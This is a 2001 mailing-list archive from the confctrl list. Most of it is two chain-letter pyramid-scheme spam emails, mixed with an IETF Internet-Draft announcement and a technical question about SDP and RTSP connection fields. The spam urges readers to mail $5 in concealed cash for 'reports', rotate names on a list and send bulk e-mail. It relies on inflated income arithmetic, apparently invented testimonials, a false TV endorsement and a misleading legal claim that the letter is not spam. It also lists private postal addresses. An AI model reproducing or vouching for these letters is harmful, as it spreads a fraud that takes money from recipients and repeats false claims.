free classified ads, electronic malls, bulletin boards, banner ads and much 
more. 

There are two primary methods of building your downline: 

METHOD #1: SENDING BULK E-MAIL 

Let's say that you decide to start small, just to see how it goes, and 
we'll assume you and all those involved send out only 2,000 programs each. 
Let's also assume that the mailing receives a 0.3\% response. Using a good 
list the response could be much better. Also, many people will send out 
hundreds of thousands of programs instead of 2,000. But continuing with 
this example, you send out only 2,000 programs. With a 0.3\% response, that 
is only 6 orders for REPORT #1. Those 6 people respond by sending out 2,000 
programs each for a total of 12,000. Out of those 0.3\%, 36 people respond 
and order REPORT #2. Those 36 mail out 2,000 programs each for a total of 
72,000. The 0.3\% response to that is 216 orders for REPORT #3. Those 216 
send out 2,000 programs each for a 432,000 total. The 0.3\% response to that 
is 1,296 orders for REPORT #4. Those 1,296 send out 2,000 programs each for 
a 2,592,000 total. The 0.3\% response to that is 7,776 orders for REPORT #5. 


That's 7,776 $5 bills for you, CASH!!! Your total income in this example is 
$30 + $180 + $1,080+ $6,480 + $38,880 for a total of $46,650!!! 

REMEMBER FRIEND, THIS IS ASSUMING 1,994 OUT OF THE 2,000 PEOPLE YOU MAIL TO 
WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR A 
MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS 
INSTEAD OF 2,000. 
Believe me, many people will do just that, and more! By the way, your cost 
to participate in this is practically nothing. You obviously already have 
an internet connection and e-mail is FREE!!! 

REPORT #2 and #5 will show you the best methods for bulk emailing, tell you 
where to obtain free bulk e-mail software and where to obtain e-mail lists 
and show you how to send out 1,000,000 e-mails for free. 

METHOD #2 - PLACING FREE ADS ON THE INTERNET 

1. Advertising on the 'Net is very, very inexpensive, and there are 
HUNDREDS of FREE places to advertise. Let's say you decide to start small 
just to see how well it works. Assume your goal is to get ONLY 6 people to 
participate on your first level. (Placing a lot of FREE ads on the internet 
will EASILY get a larger response.) Also assume that everyone else in YOUR 
ORGANIZATION gets ONLY 6 downline members. Follow this example to achieve 
the STAGGERING results below. 

1st level--your 6 members with $5 ($5 x 6)........................$30 
2nd level--6 members from those 6 ($5 x 36)....................$180 
3rd level--6 members from those 36 ($5 x 216)............ $1,080 
4th level--6 members from those 216 ($5 x 1,296)....... $6,480 
5th level-6 members from those 1,296 ($5 x 7,776)... $38,880 
.................................................$46,650 
_________________________________________________________________________ 


Remember friends, this assumes that the people who participate only recruit 
6 people each. Think for a moment what would happen if they got 20 people 
to participate! Many people will get 100's of participants! 
THINK ABOUT IT! 

For every $5.00 you receive, all you must do is e-mail them the report they 
ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS! This 
will guarantee that the e-mail THEY send out, with YOUR name and address on 
it, will be prompt because they can't advertise until they receive the 
report! 

_________________________________________________________________________ 

AVAILABLE REPORTS 
_________________________________________________________________________ 
*** Order Each REPORT by NUMBER and NAME *** 

Notes: 

ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT 
CHECKS NOT ACCEPTED 
ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL 
Make sure the cash is concealed by wrapping it in at least two sheets of 
paper. On one of those sheets of paper, include: 

(a) the number & name of the report you are ordering
(b) your e-mail address  (So your report can come by email)
(c) your name & postal address.


**** Place your name in the 1st report. Move the rest of the names
     down causing whoever is in 5th position to go off the list.****


PLACE YOUR ORDER FOR THESE REPORTS NOW: 
______________________________________________________ 

REPORT #1 "The Insider's Guide to Advertising for Free on the Internet" 

ORDER REPORT #1 FROM 

Ross Pawley
540 NW 2nd St. Apt7
Prineville, OR 97754
______________________________________________________ 

REPORT #2 "The Insider's Guide to Sending Bulk E-mail on the Internet" 

ORDER REPORT #2 FROM: 


Spatter
2700 Waterview Pkwy. #4612
Richardson, TX 75080
__________________________________________________ 

REPORT #3 "The Secrets to Multilevel Marketing on the Internet" 

ORDER REPORT #3 FROM: 


Jamie Strickland
P.o Box 253
Charlton Heights, WV 25040
______________________________________________________ 

REPORT #4 "How to become a Millionaire utilizing the Power of Multilevel 
Marketing and the Internet" 

ORDER REPORT #4 FROM: 

Andrea Hataway 
608 W. 8th St. 
Lancaster,  TX 75146

______________________________________________________ 

REPORT #5 "How to SEND 1,000,000 e-mails for FREE" 

ORDER REPORT #5 FROM: 

Robin Stice 
690 Crespi Dr 
Pacifica, CA 94044 

______________________________________________________ 

______________________________________________________ 

There currently more than 175,000,000 people online worldwide! 


******* TIPS FOR SUCCESS ******* 

* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, 
and follow the directions accurately. 

* Send for the five reports IMMEDIATELY so you will have 
them when the orders start coming in because: 

When you receive a $5 order, you MUST send out the requested 
product/report. 

* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. 


* Be patient and persistent with this program. If you follow the 
instructions exactly, your results WILL BE SUCCESSFUL! 

* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED! 


******* YOUR SUCCESS GUIDELINES ******* 

Follow these guidelines to guarantee your success: 

If you don't receive 20 orders for REPORT #1 within two weeks, continue 
advertising or sending e-mails until you do. Then, a couple of weeks later 
you should receive at least 100 orders for REPORT#2. If you don't, continue 
advertising or sending e-mails until you do. 

Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX, 
because the system is already working for you, and the cash will continue 
to roll in! 

THIS IS IMPORTANT TO REMEMBER: 

Every time your name is moved down on the list, you are placed in front of 
a DIFFERENT report. You can KEEP TRACK of your PROGRESS by watching which 
report people are ordering from you. If you want to generate more income, 
send another batch of e-mails or continue placing ads and start the whole 
process again! There is no limit to the income you will generate from this 
business! 



Before you make your decision as to whether or not you participate in this 
program. Please answer one question. DO YOU WANT TO CHANGE YOUR LIFE? If 
the answer is yes, please look at the following facts about this 
program: 

1. YOU ARE SELLING A PRODUCT WHICH DOES NOT 
COST ANYTHING TO PRODUCE! 

2. YOU ARE SELLING A PRODUCT WHICH DOES NOT 
COST ANYTHING TO SHIP! 

3. YOU ARE SELLING A PRODUCT WHICH DOES NOT 
COST YOU ANYTHING TO ADVERTISE! 

4. YOU ARE UTILIZING THE POWER OF THE INTERNET 
AND THE POWER OF MULTI-LEVEL MARKETING TO 
DISTRIBUTE YOUR PRODUCT ALL OVER THE WORLD! 

5. YOUR ONLY EXPENSES OTHER THAN YOUR 
INITIAL $25 INVESTMENT IS YOUR TIME! 

6. VIRTUALLY ALL OF THE INCOME YOU GENERATE 
FROM THIS PROGRAM IS PURE PROFIT! 


******* T E S T I M O N I A L S ******* 

This program does work, but you must follow it EXACTLY! Especially the rule 
of not trying to place your name in a different position, it won't work and 
you'll lose a lot of potential income. I'm living proof that it works. It 
really is a great opportunity to make relatively easy money, with little 
cost to you. If you do choose to participate, follow the program exactly, 
and you'll be on your way to financial security. 
Fred Dellaca, Westport, New Zealand 

My name is Mitchell. My wife, Jody, and I live in Chicago, IL. I am a cost 
accountant with a major U.S. Corporation and I make pretty good money. When 
I received the program I grumbled to Jody about receiving "junk mail." I 
made fun of the whole thing, spouting my knowledge of the population and 
percentages involved. I "knew" it wouldn't work. Jody totally ignored my 
supposed intelligence and jumped in with both feet. I made merciless fun of 
her, and was ready to lay the old "I told you so" on her when the thing 
didn't work... well, the laugh was on me! Within two weeks she had received 
over 50 responses. Within 45 days she had received over $147,200 in $5 
bills! I was shocked! I was sure that I had it all figured and that it 
wouldn't work. I AM a believer now. I have joined Jody in her "hobby." I 
did have seven more years until retirement, but I think of the "rat race" 
and it's not for me. We owe it all to MLM. 
Mitchell Wolf MD., Chicago, IL 

The main reason for this letter is to convince you that this system is 
honest, lawful, extremely profitable, and is a way to get a large amount of 
money in a short time. I was approached several times before I checked this 
out. I joined just to see what one could expect in return for the minimal 
effort and money required. To my astonishment, I received $36,470.00 in the 
first 14 weeks, with money still coming in. 
Sincerely yours, 
Pam Hedland Halmstad, Sweden 

Not being the gambling type, it took me several weeks to make up my mind to 
participate in this plan. But conservative that I am, I decided that the 
initial investment was so little that there was just no way that I wouldn't 
get enough orders to at least get my money back. I surprised when I found 
my medium-size post office box crammed with orders! For awhile, it got so 
overloaded that I had to start picking up my mail at the window. I'll make 
more money this year than any 10 years of my life before. The nice thing 
about this deal is that it doesn't matter where people live. There simply 
isn't a better investment with a faster return. 
Dan Sondstrom, Alberta, Canada 

I had received this program before. I deleted it, but later I wondered if I 
shouldn't have given it a try. Of course, I had no idea who to contact to 
get another copy, so I had to wait until I was e-mailed another program, 
.11 months passed then it came...I didn't delete this one!...I made more 
than $41,000 on the first try!! 
Mohamed, Cairo, Egypt 

This is my third time to participate in this plan. We have quit our jobs, 
and will soon buy a home on the beach and live off the interest on our 
money. The only way on earth that this plan will work for you is if you do 
it. For your sake, and for your family's sake don't pass up this golden 
opportunity. 
Good luck and happy spending! 
Sam Lee Suva, Fiji Islands 


ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO FINANCIAL 
FREEDOM! 

NOW IS THE TIME FOR YOUR TURN 

DECISIVE ACTION YIELDS POWERFUL RESULTS 

_________________________________________________________________________ 

PLEASE NOTE: If you need help with starting a business, registering a 
business name, learning how income tax is handled, etc., contact your local 
office of the Small Business Administration (a Federal agency) 
1-(800)827-5722 for free help and answers to questions. Also, the Internal 
Revenue Service offers free help via telephone and free seminars about 
business tax requirements. Your earnings and results are highly dependant 
on your activities and advertising. This letter constitutes no guarantees 
stated nor implied. In the event that it is determined that this letter 
constitutes a guarantee of any kind, that guarantee is now void. Any 
testimonials or amounts of earnings listed in this letter may be factual or 
non-verifiable. If you have any question of the legality of this letter 
contact the Office of Associate Director for Marketing Practices Federal 
Trade Commission Bureau of Consumer Protection in Washington DC. 


______________________________________________________________________ 

Under Bill s.1618 TITLE III passed by the 105th US Congress this letter 
cannot be considered spam as long as the sender includes contact information 
and a method of removal. To be Removed please reply to email with the words 
REMOVE in the subject area. 




From confctrl-owner  Wed Oct  3 04:13:19 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA06260
	for confctrl-outgoing; Wed, 3 Oct 2001 04:13:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA06253
	for <confctrl@zephyr.isi.edu>; Wed, 3 Oct 2001 04:13:17 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f93BDXv01588
	for <confctrl@isi.edu>; Wed, 3 Oct 2001 04:13:33 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07342;
	Wed, 3 Oct 2001 07:13:29 -0400 (EDT)
Message-Id: <200110031113.HAA07342@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-fid-05.txt
Date: Wed, 03 Oct 2001 07:13:29 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Grouping of m lines in SDP
	Author(s)	: G. Camarillo, J. Holler, G. Eriksson, H. Schulzrinne
	Filename	: draft-ietf-mmusic-fid-05.txt
	Pages		: 17
	Date		: 02-Oct-01
	
This document defines two SDP attributes: 'groupe' and 'mid'. They
allow to group together several 'm' lines for two different
purposes: for lip synchronization and for receiving media from a
single flow (several media streams), encoded in different formats
during a particular session, in different ports and host interfaces.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-05.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-fid-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-fid-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011002120926.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-fid-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-fid-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011002120926.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Oct  3 17:22:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA20113
	for confctrl-outgoing; Wed, 3 Oct 2001 17:22:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA20108
	for <confctrl@zephyr.isi.edu>; Wed, 3 Oct 2001 17:22:06 -0700 (PDT)
Received: from yahoo.com (internet.soes.com [209.44.173.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f940MMv15293
	for <confctrl@isi.edu>; Wed, 3 Oct 2001 17:22:22 -0700 (PDT)
Message-ID: <2102829-22001104402222635@yahoo.com>
X-EM-Version: 6, 0, 0, 4
X-EM-Registration: #00F06206106618006920
X-Priority: 3
Reply-To: vwatvwat@yahoo.com
From: "V Bassett" <vwatvwat@yahoo.com>
To: confctrl@ISI.EDU
Subject: "The Letter" As seen on national TV!
Date: Wed, 3 Oct 2001 20:22:22 -0400
MIME-Version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id RAA20109
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This will make BIG money for you...FAST!!
Several months ago, I made a conscious decision not to
delete what I figured was just another "junk" e-mail.
That decision has changed my life. Here you have the
very same opportunity in front of you. If you take
just five minutes to read through the following
program you won't regret it. See for yourself!
If you do this - all involved WILL PROFIT!!

Dear Friends & Future Millionaires:
AS SEEN ON NATIONAL TV:
Make over half a million dollars every 4 to 5 months
from your home for an investment of only $25 U.S.
Dollars expense ONE TIME!.
THANKS TO THE COMPUTER AGE AND THE INTERNET !
==================================================
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!!
Before you say ''Bull'', please read the following.
This is the letter you have been hearing about on the
news lately. Due to the popularity of this letter on
the Internet, a national weekly news program recently
devoted an entire show to the investigation of this
program described below, to see if it really can make
people money. The show also investigated whether or
not the program was legal. Their findings proved once
and for all that there are ''absolutely NO Laws
prohibiting the participation in the program and if
people can follow the simple instructions, they are
bound to make some mega bucks with only $25 out of
pocket cost''. DUE TO THE RECENT INCREASE OF
POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, IT IS
CURRENTLY WORKING BETTER THAN EVER!

This is what one had to say: 
''Thanks to this profitable opportunity. I
was approached many times before but each time I
passed on it. I am so glad finally joined just to see
what one could expect in return for the minimal effort
and money required. To my astonishment, I received
total $610,470.00 in 21 weeks, with money still coming
in."
Pam Hedland, Fort Lee, New Jersey.

===== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ======

If you would like to make at least $500,000 every 4 to
5 months easily and comfortably, please read the
following...THEN READ IT AGAIN and AGAIN!!!
FOLLOW THE SIMPLE INSTRUCTIONS BELOW AND YOUR
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:
=====Order all 5 reports shown on the list below =====
For each report, send $5 CASH, THE NAME & NUMBER OF
THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to
the person whose name appears ON THAT LIST next to the
report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR
ENVELOPE TOP LEFT CORNER in case of any mail problems.
When you place your order, make sure you order
each of the 5 reports.
You will need all 5 reports so that you can save them
on your computer and resell them. 
YOUR TOTAL COST $5 X5=$25.00. 
Within a few days you will receive, via
e-mail, each of the 5 reports from these 5 different
individuals. Save them on your computer so they will
be accessible for you to send to the 1,000's of people
who will order them from you. Also make a floppy of
these reports and keep it on your desk in case
something happens to your computer. 

IMPORTANT - DO NOTalter the names of the people
who are listed next to each report, or their sequence on the list, 
in any way other than what is instructed below in steps '' 1
through 6 '' or you will lose out on a majority of
your profits. Once you understand the way this works,
you will also see how it does not work if you change
it. Remember, this method has been tested, and if you
alter it, it will NOT work!!! People have tried to put
their friends/relatives names on all five thinking
they could get all the money. But it does not work
this way. Believe us, we all have tried to be greedy
and then nothing happened. So DO NOT try to change
anything other than what is instructed. Because if you
do, it will not work for you. Remember, honesty reaps
the reward!!!

1.... After you have ordered all 5 reports, take this
advertisement and REMOVE the name & address of the
person in REPORT # 5. This person has made it through
the cycle and is no doubt counting their fortune.
2.... Move the name & address in REPORT # 4 down TO
REPORT # 5.
3.... Move the name & address in REPORT # 3 down TO
REPORT # 4.
4.... Move the name & address in REPORT # 2 down TO
REPORT # 3.
5.... Move the name & address in REPORT # 1 down TO
REPORT # 2.
6.... Insert YOUR name & address in the REPORT # 1
Position. PLEASE MAKE SURE you copy every name &
address ACCURATELY!
==========================================================
**** Take this entire letter, with the modified list
of names, and save it on your computer. DO NOT MAKE
ANY OTHER CHANGES. Save this on a disk as well just
in case if you loose any data. To assist you with
marketing your business on the internet, the 5 reports
you purchase will provide you with invaluable
marketing information which includes how to send bulk
e-mails legally, where to find thousands of free
classified ads and much more.

There are 2 Primary methods to get this venture going:
METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
==========================================================
Let's say that you decide to start small, just to see
how it goes, and we will assume You and those involved
send out only 5,000 e-mails each. Let's also assume
that the mailing receives only a 0.2% response (the
response could be much better but lets just say it is
only 0.2%. Also many people will send out hundreds of
thousands of e-mails instead of only 5,000 each).
Continuing with this example, you send out only 5,000
e-mails. With a 0.2% response, that is only 10 orders
for report # 1. Those 10 people responded by sending
out 5,000 e-mail each for a total of 50,000. Out of
those 50,000 e-mails only 0.2% responded with orders.
That's 100 people responded and ordered Report # 2.
Those 100 people mail out 5,000 e-mails each for a
total of 500,000 e-mails. The 0.2% response to that is
1000 orders for Report # 3. Those 1000 people send
out 5,000 e-mails each for a total of 5 million
e-mails sent out. The 0.2% response to that is 10,000
orders for Report # 4. Those 10,000 people send out
5,000 e-mails each for a total of 50,000,000 (50
million) e-mails. The 0.2% response to that is 100,000
orders for Report # 5. THAT'S 100,000 ORDERS TIMES $5
EACH=$500,000.00 (half a million). Your total income
in this example is: 1..... $50 + 2..... $500 + 3.....
$5,000 + 4.... $50,000 + 5..... $500,000 ........
Grand Total=$555,550.00! 
NUMBERS DO NOT LIE. GET A
PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE
RESPONSE AND NO MATTER HOW YOU CALCULATE IT, YOU WILL
STILL MAKE A LOT OF MONEY!
=========================================================
REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think
for a moment what would happen if everyone or half or
even one 4th of those people mailed 100,000e-mails
each or more? There are over 150 million people on the
Internet worldwide and counting. Believe me, many
people will do just that, and more!
=========================================================
METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET
=======================================================
Advertising on the net is very very inexpensive and
there are hundreds of FREE places to advertise.
Placing a lot of free ads on the Internet will easily
get a larger response. We strongly suggest you start
with Method # 1 and add METHOD # 2 as you go along.
For every $5 you receive, all you must do is e-mail
them the Report they ordered. That's it. Always
provide same day service on all orders. This will
guarantee that the e-mail they send out, with your
name and address on it, will be prompt because they
can not advertise until they receive the report.

=========== AVAILABLE REPORTS ====================
ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes:
Always send $5 cash (U.S. CURRENCY) for each Report.
Checks NOT accepted. Make sure the cash is concealed
by wrapping it in at least 2 sheets of paper. On one
of those sheets of paper, Write the NUMBER & the NAME
of the Report you are ordering, YOUR E-MAIL ADDRESS
and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW :
===========================================
REPORT #1: "How to Send Out 0ne Million e-mails for
Free"
Order Report # 1 from:

V. B.
15568 Timberhill Dr
Flint, TX  75762
USA

_______________________________________________
REPORT # 2: "The Insider's Guide to Advertising for
Free on the Net"
Order Report #2 from:

JSH220
P.O. Box 1024
Lawrenceville, GA
30046-1024
USA

__________________________________________________________
REPORT # 3: "The Insider's Guide to Sending Bulk
e-mail on the Net"
Order Report # 3 from:

M.A.
P.O. Box 8332
Tahoe City, CA. 96145
USA

__________________________________________________________
REPORT # 4: "Secret to Multilevel Marketing on the
Net"
Order Report # 4 from :

N. H. Merrill
147 Crescent St.
Shrewsbury,MA 01545-2860
USA

____________________________________________________________
REPORT # 5: "How to Become a Millionaire Utilizing MLM
& the Net"
Order Report # 5 from:

C. Henry
16211 N. 21st Street
Phoenix, Arizona 85022
USA

___________________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:
=== If you do not receive at least 10 orders for
Report #1 within 2 weeks, continue sending e-mails
until you do.
=== After you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for
REPORT # 2. If you did not, continue advertising or
sending e-mails until you do.
=== Once you have received 100 or more orders for
Report # 2, YOU CAN RELAX, because the system is
already working for you, and the cash will continue to
roll in! THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you
are placed in front of a Different report.
You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you. IF YOU WANT TO
GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS 
AND START THE WHOLE PROCESS AGAIN. 
There is NO LIMIT to the income you can generate from this business!!!
======================================================
FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM: You have just received information that can
give you financial freedom for the rest of your life,
with NO RISK and JUST A LITTLE BIT OF EFFORT. You can
make more money in the next few weeks and months than
you have ever imagined. Follow the program EXACTLY AS
INSTRUCTED. Do Not change it in any way. It works
exceedingly well as it is now.
Remember to e-mail a copy of this exciting report
after you have put your name and address in Report #1
and moved others to #2 through # 5 as instructed
above. One of the people you send this to may send out
100,000 or more e-mails and your name will be on every
one of them. Remember though, the more you send out
the more potential customers you will reach. So, my
friend, I have given you the ideas, information,
materials and opportunity to become financially
independent. IT IS UP TO YOU NOW!
============ MORE TESTIMONIALS ================
"My name is Mitchell. My wife, Jody and I live in
Chicago. I am an accountant with a major U.S.
Corporation and I make pretty good money. When I
received this program I grumbled to Jody about
receiving ''junk mail.'' I made fun of the whole
thing, spouting my knowledge of the population and
percentages involved. I ''knew'' it wouldn't work.
Jody totally ignored my supposed intelligence and a
few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old ''I
told you so" on her when the thing didn't work. Well,
the laugh was on me! Within 3 weeks she had received
50 responses. Within the next 45 days she had received
a total of $147,200.00 ........... all cash! I was
shocked. I have joined Jody in her "hobby."
Mitchell Wolf, Chicago, Illinois
======================================================
"Not being the gambling type, it took me several
weeks to make up my mind to participate in this plan.
But conservative that I am, I decided that the initial
investment was so little that there was just no way
that I wouldn't get enough orders to at least get my
money back." "I was surprised when I found my
medium sized post office box crammed with orders. I
made $319,210.00 in the first 12 weeks. The nice thing
about this deal is that it does not matter where
people live. There simply isn't a better investment
with a faster return and so big."
Dan Sondstrom, Alberta, Canada
=======================================================
''I had received this program before. I deleted it,
but later I wondered if I should have given it a try.
Of course, I had no idea who to contact to get another
copy, so I had to wait until I was e-mailed again by
someone else.........11 months passed then it luckily
came again...... I did not delete this one! I made
more than $490,000 on my first try and all the money
came within 22 weeks."
Susan De Suza, New York, N.Y.
=======================================================
''It really is a great opportunity to make relatively
easy money with little cost to you. I followed the
simple instructions carefully and within 10 days the
money started to come in. My first month I made
$20,560.00 and by the end of third month my total cash
count was $362,840.00. Life is beautiful, Thanx to the
internet."
Fred Dellaca, Westport, New Zealand
=======================================================
ORDER YOUR REPORTS TODAY AND GET STARTED ON 'YOUR'
ROAD TO FINANCIAL FREEDOM!
=======================================================
If you have any questions of the legality of this
program, contact the Office of Associate Director for
Marketing Practices, Federal Trade Commission, Bureau
of Consumer Protection, Washington, D.C
========================================================
Don't be skeptical - this works.
Thanks,
V. B.



V Bassett 

Check this out! I'm doing it. Might as well!
Get paid cash every time you receive email!
Sign up FREE at: http://www.MintMail.com/?m=806789


From confctrl-owner  Fri Oct  5 09:12:28 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA07081
	for confctrl-outgoing; Fri, 5 Oct 2001 09:12:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA07075
	for <confctrl@zephyr.isi.edu>; Fri, 5 Oct 2001 09:12:26 -0700 (PDT)
Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f95GCgv19395
	for <confctrl@isi.edu>; Fri, 5 Oct 2001 09:12:42 -0700 (PDT)
Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f95GDEf01191
	for <confctrl@isi.edu>; Fri, 5 Oct 2001 19:13:14 +0300 (EET DST)
Received: from esebh25nok.ntc.nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T566ab0d678ac158f24077@esvir04nok.ntc.nokia.com> for <confctrl@isi.edu>;
 Fri, 5 Oct 2001 19:12:41 +0300
Received: by esebh25nok with Internet Mail Service (5.5.2652.78)
	id <T34RLAND>; Fri, 5 Oct 2001 19:12:40 +0300
Message-ID: <7F874D8CD4FDA54AAAE7C8B43D32B8070A4AF3@trebe004.NOE.Nokia.com>
From: emre.aksu@nokia.com
To: confctrl@ISI.EDU
Subject: SDP and RTSP  related questions
Date: Fri, 5 Oct 2001 19:12:41 +0300 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,
I have two questions to ask related to SDP and RTSP 

The 1st is related to the internet draft "draft-ietf-mmusic-sdp-new-03.txt",
the SDP protocol.
This draft introduces some changes to the current RFC 2327. One of the
changes that I can address right now is making both the 'e' and 'p' fields
optional. (In RFC 2326, at least one of them must be present in the SDP
information).

Since the 'version' field is still '0' in the new draft document, it is
impossible to distinguish whether an SDP content is built according to RFC
2327, or the new version, which will be defined by this draft document. This
will definitely bring some compatibility problems with the current
implementations of SDP parsers.

I am wondering if it will be a good solution to change the "v=0" field to
"v=1" in this draft, to address the difference in versions to solve the
compatibility problem.


2nd question is related to a difference in interpretation of the "c" field
in RFC 2326 (RTSP) and RFC 2327 (SDP). 

According to SDP RFC, "c" field defines the connection information and
possibly the address of the media data source, i.e. the server that sends
the media related packets for unicast case.

According to RTSP RFC, "c" field is defined as follows:

---------------------------------------------
(taken from section C.1.7 in RFC 2326)
...
C1.7 Connection Information

In SDP, the "c=" field contains the destination address for the media
stream. However, for on-demand unicast streams and some multicast
streams, the destination address is specified by the client via the
SETUP request. Unless the media content has a fixed destination
address, the "c=" field is to be set to a suitable null value. For
addresses of type "IP4", this value is "0.0.0.0".
...
---------------------------------------------

So, in the RTSP RFC the "c" field is the connection information of the
"destination" of the media stream, in other words the client. Isn't this
contradicting with the SDP RFC? Or do I make a wrong interpretation here?

I kindly request from the authors of these two RFCs to clarify these two
issues.


Best regards,

Emre Baris Aksu
Senior Design Engineer 
Application SW, Tampere

Nokia Mobile Phones
Product Creation Center Tampere / Finland
e-mail : emre.aksu@nokia.com
Mobile : +358 40 743 1972
Fax    : +358 10 505 7662

From confctrl-owner  Fri Oct  5 13:34:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA20418
	for confctrl-outgoing; Fri, 5 Oct 2001 13:34:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA20413
	for <confctrl@zephyr.isi.edu>; Fri, 5 Oct 2001 13:34:05 -0700 (PDT)
Received: from ibi.org.cn ([202.110.184.141])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f95KYJv10605;
	Fri, 5 Oct 2001 13:34:20 -0700 (PDT)
From: cancel@sina.com
Received: from  [202.108.68.140] by ibi.org.cn
